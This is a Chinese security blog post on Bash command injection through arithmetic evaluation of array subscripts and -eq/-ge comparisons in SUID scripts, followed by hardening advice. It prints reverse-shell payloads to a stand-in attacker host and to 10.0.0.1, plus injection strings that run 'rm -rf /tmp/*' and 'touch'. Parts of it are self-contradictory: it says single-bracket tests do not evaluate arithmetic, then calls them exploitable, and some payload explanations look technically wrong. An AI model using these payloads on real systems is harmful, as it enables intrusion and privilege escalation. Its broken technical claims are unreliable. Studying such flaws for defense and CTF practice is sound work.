// 安全研究 · 2025-03-02

因数组解析导致的 Bash 命令注入漏洞

在 Bash 脚本安全审计与 CTF 比赛中,有一类非常隐蔽但威力极大的漏洞:数组下标(subscript)在算术上下文中的提前求值导致的命令注入。这类漏洞的核心特征是:脚本开发者以为自己在做简单的数值比较、变量赋值或数组操作,却没有意识到 Bash 会在某些特定语法位置提前对字符串进行算术表达式求值,而这个求值过程支持命令替换($(...))、变量展开甚至嵌套算术,从而造成任意代码执行。

这类漏洞在 2014–2020 年间被安全研究者反复披露过多个变种,但至今仍然在野外大量存在,尤其常见于 CTF 中的 SUID 提权脚本、运维自动化脚本、Web 后台调用 shell 的场景。


一、漏洞本质:哪些上下文会做算术求值?

Bash 官方文档(bash(1) man page)中明确列出了会进入算术求值(arithmetic evaluation)的几种主要语法结构:

  1. 算术扩展语法:$((expression))、((expression))
  2. 整数赋值命令:let "expression"
  3. 数组下标操作:${array[expression]}、${array[expression]=value}、array[expression]=value
  4. 双中括号条件判断的整数比较:[[ $var -eq 42 ]]、[[ $var -gt 10 ]](单中括号[ ]本身不解析算术,但-eq/-ne/-gt/-lt/-ge/-le等整数比较符会强制对参数做算术求值)
  5. 整数变量声明赋值:declare -i、local -i 声明的变量赋值时
  6. C风格for循环:for ((i=0; i<10; i++)) 的三个表达式
  7. 复合赋值操作:(( var++ ))、(( var += 5 )) 等

关键结论:

只要一个字符串被用作数组的下标,并且这个下标出现在算术上下文里,那么这个字符串就会被当作算术表达式完整求值。

而 Bash 的算术表达式支持:

  • 变量展开 $var
  • 命令替换 $(cmd) / `cmd`
  • 嵌套算术 $((...))
  • 条件运算符 a?b:c
  • 位运算、逻辑运算等

这意味着攻击者只要能控制这个变量,就能注入任意命令。

二、经典利用:数值比较中的命令注入

最常见的出现场景是这样的代码:

#!/bin/bash
# /usr/local/bin/backup (假设有 setuid root)
read -p "请输入您的用户等级(需要>=5才能备份): " level
if [[ "$level" -ge 5 ]]; then
    echo "权限通过,开始备份..."
    tar czf /backup/secret.tar.gz /flag
else
    echo "权限不足"
fi

开发者以为只要用户输入纯数字即可,实际却极度危险。

攻击 payload:

5$(bash -i >& /dev/tcp/attacker-ip/4444 0>&1 &)

执行逻辑:

  1. [[ ]] 是Bash核心语法,会优先对-ge两侧的内容做完整算术上下文解析;
  2. Payload中的$(bash -i ...) 被优先执行,建立反向Shell连接;
  3. 命令替换执行后返回空,最终算术表达式简化为5,满足5 -ge 5的条件(即使不满足,命令已执行)。

对比单中括号[ ]:若脚本使用[ "$level" -ge 5 ],test命令仅校验字符串是否为整数,不会解析算术表达式,因此Payload不会执行——这也是开发者易混淆的关键误区。

三、数组显式下标注入演示

下面是几个真实的注入演示:

演示1:declare 赋值

# 正常写法
declare "user_level=$input"
# 攻击者输入
input='a[$(touch /tmp/hacked)]=1'
# 执行后结果
declare 'user_level=a[$(touch /tmp/hacked)]=1'
# → touch /tmp/hacked 已经被执行

演示2:数组元素访问

files=(
    readme.txt
    config.ini
)
# 脚本想取第 n 个文件,n 来自用户
n=$input
echo "${files[$n]}"

攻击输入:

0$(rm -rf /tmp/* >&2)

或更隐蔽:

0$(bash -c 'bash -i >& /dev/tcp/10.0.0.1/9001 0>&1' >&2)

四、为什么开发者经常中招?常见误区

  1. 误以为只有 eval 才危险
    很多人认为只要不写 eval "$(...)" 就安全,殊不知算术上下文就是 Bash 内置的“隐形 eval”。

  2. 以为加了引号就安全
    [[ "$input" -gt 10 ]] 中的双引号只防止字段分割和通配符展开,但不阻止算术求值。

  3. 以为 -eq/-gt 只比较数字
    test 的整数比较操作符恰恰会强制把参数当作算术表达式处理。

  4. 以为数组下标只能是数字
    Bash 允许下标是任意算术表达式,甚至是负数、字符串(关联数组除外)。

  5. 忽略了 declare -i / local -i
    一旦变量被声明为整数类型,任何对它的赋值都会触发算术求值。

五、真实案例与历史披露

  • 2014–2019 年多篇安全研究
    NCC Group 2020 年文章《Shell Arithmetic Expansion and Evaluation Abuse》详细列举了算术上下文的多种滥用方式,其中数组下标是最强原语之一。

  • DEV.to 文章《Arithmetic operation in shell script can be exploited》
    作者用一个看似无害的 [ "$a" -eq "$b" ] 演示了完整 RCE。

  • CTF 常见套路
    很多CTF比赛中都会出现 1–2 道 SUID 脚本题,考点就是绕过 [ $role -eq 0 ] / (( level >= 10 )) 这类判断,直接用数组下标起 shell。

  • ShellCheck 警告
    最新的 ShellCheck(0.10+)已经对 [[ $var -eq ... ]] 使用未经验证输入给出了 SC2086/SC2254 等警告,并明确说明存在代码执行风险。

六、防御与加固方案

  1. 永远不要在算术上下文中使用用户输入
    最简单粗暴:看到 -eq/-gt/-ge、(( ))、[ ] 整数比较、数组下标,直接用正则或类型检查过滤。

  2. 强制字符串比较而非整数比较
    推荐写法:

    # 错误(危险)
    [ "$level" -ge 5 ]
    # 推荐
    [[ $level =~ ^[0-9]+$ ]] && (( level >= 5 ))
    # 或更安全
    [[ $level = "admin" ]] || [[ $level -eq 0 ]]
  3. 使用 -n 和整数声明前校验

    if [[ ! $input =~ ^-?[0-9]+$ ]]; then
        echo "非数字输入" >&2
        exit 1
    fi
    declare -i n="$input"
  4. 避免直接把用户输入用作数组下标
    改用关联数组 + 字符串键,或者加前缀/后缀校验。

  5. 用更现代的工具替代 shell 脚本
    高危运维脚本建议迁移到 Python / Go,减少 shell 直接处理用户输入的机会。

  6. SUID 脚本最严格原则
    • 禁止 read、readarray、mapfile 直接读用户输入
    • 所有外部参数必须经过白名单正则校验
    • 尽量把逻辑写到非 SUID 的普通脚本中,SUID 部分只做最少的工作

七、总结

Bash 数组下标“提前解析”导致的命令注入,是兼具隐蔽性与杀伤力的高危漏洞。它的可怕之处在于:

  1. 无需显式eval调用,依托Bash内置语法即可执行代码;
  2. 双引号无法阻断算术解析,常规防护手段失效;
  3. 出现在数值比较、数组操作等“看似无害”的场景中;
  4. SUID脚本中招后可直接导致权限提升。

记住下面这句口诀,几乎可以覆盖 90% 的此类漏洞:

“凡是用户可控的字符串,被用作数组下标、被放在 -eq/-gt 两侧、被放在 (( )) 里,都等于执行了隐形 eval”。

在写 shell 脚本时,看到类似 [ $xxx -gt 0 ]、"${arr[$input]}"、declare var=$input 这样的代码,立刻提高警惕,很可能就是下一道提权题的考点。

防御的核心只有一句话:

用户输入绝不应该进入任何算术上下文。

原文 https://blog.csdn.net/2301_79518550/article/details/145810204